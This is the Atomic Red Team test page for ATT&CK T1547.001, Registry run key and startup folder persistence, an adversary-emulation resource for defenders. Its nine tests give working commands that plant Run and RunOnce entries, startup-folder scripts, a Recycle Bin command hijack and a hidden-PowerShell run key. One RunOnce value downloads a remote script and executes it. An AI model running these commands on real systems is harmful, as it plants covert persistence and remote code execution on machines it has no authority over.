Try it using Invoke-Atomic

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Description from ATT&CK

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.

The following run keys are created by default on Windows systems:

  • <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
  • <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
  • <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
  • <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence:

  • <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
  • <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
  • <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
  • <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

The following Registry keys can control automatic startup of services during boot:

  • <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
  • <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
  • <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
  • <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

  • <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
  • <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs. https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/

Atomic Tests

Atomic Test #1 - Reg Key Run

Run Key Persistence

Upon successful execution, cmd.exe will modify the registry by adding \"Atomic Red Team\" to the Run key. Output will be via stdout.

Supported Platforms: windows

auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05

Inputs:

Name Description Type Default Value
command_to_execute Thing to Run Path C:\Path\AtomicRedTeam.exe

Attack Commands: Run with command_prompt!

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REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

Cleanup Commands:

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REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1

Atomic Test #2 - Reg Key RunOnce

RunOnce Key Persistence.

Upon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout.

Supported Platforms: windows

auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb

Inputs:

Name Description Type Default Value
thing_to_execute Thing to Run Path C:\Path\AtomicRedTeam.dll

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

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REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"

Cleanup Commands:

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REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1

Atomic Test #3 - PowerShell Registry RunOnce

RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry.

Supported Platforms: windows

auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42

Inputs:

Name Description Type Default Value
thing_to_execute Thing to Run Path powershell.exe
reg_key_path Path to registry key to update Path HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$RunOnceKey = "#{reg_key_path}"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/36f83b728bc26a49eacb0535edc42be8c377ac54/ARTifacts/Misc/Discovery.bat`")"'

Cleanup Commands:

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Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore

Atomic Test #4 - Suspicious vbs file run from startup Folder

vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: windows

auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"

Cleanup Commands:

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Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore

Atomic Test #5 - Suspicious jse file run from startup Folder

jse files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001 Hello, World JSE!" will be displayed twice. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: windows

auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"

Cleanup Commands:

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Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore

Atomic Test #6 - Suspicious bat file run from startup Folder

bat files can be placed in and executed from the startup folder to maintain persistance. Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in.

Supported Platforms: windows

auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"

Cleanup Commands:

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Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore

Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists.

Supported Platforms: windows

auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$Target = "C:\Windows\System32\calc.exe"
$ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Create = $WScriptShell.CreateShortcut($ShortcutLocation)
$Create.TargetPath = $Target
$Create.Save()      

Cleanup Commands:

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Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore

Atomic Test #8 - Add persistance via Recycle bin

Add a persistance via Recycle bin vxunderground User have to clic on the recycle bin to lauch the payload (here calc)

Supported Platforms: windows

auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f

Inputs:

None

Attack Commands: Run with command_prompt!

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reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f

Cleanup Commands:

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reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f

Atomic Test #9 - SystemBC Malware-as-a-Service Registry

This Atomic will create a registry key called socks5_powershell for persistance access https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c

Supported Platforms: windows

auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891

Inputs:

Name Description Type Default Value
reg_key_value Thing to Run Path powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File
reg_key_path Path to registry key to update Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

Attack Commands: Run with powershell!

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$RunKey = "#{reg_key_path}"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}"

Cleanup Commands:

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Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore

source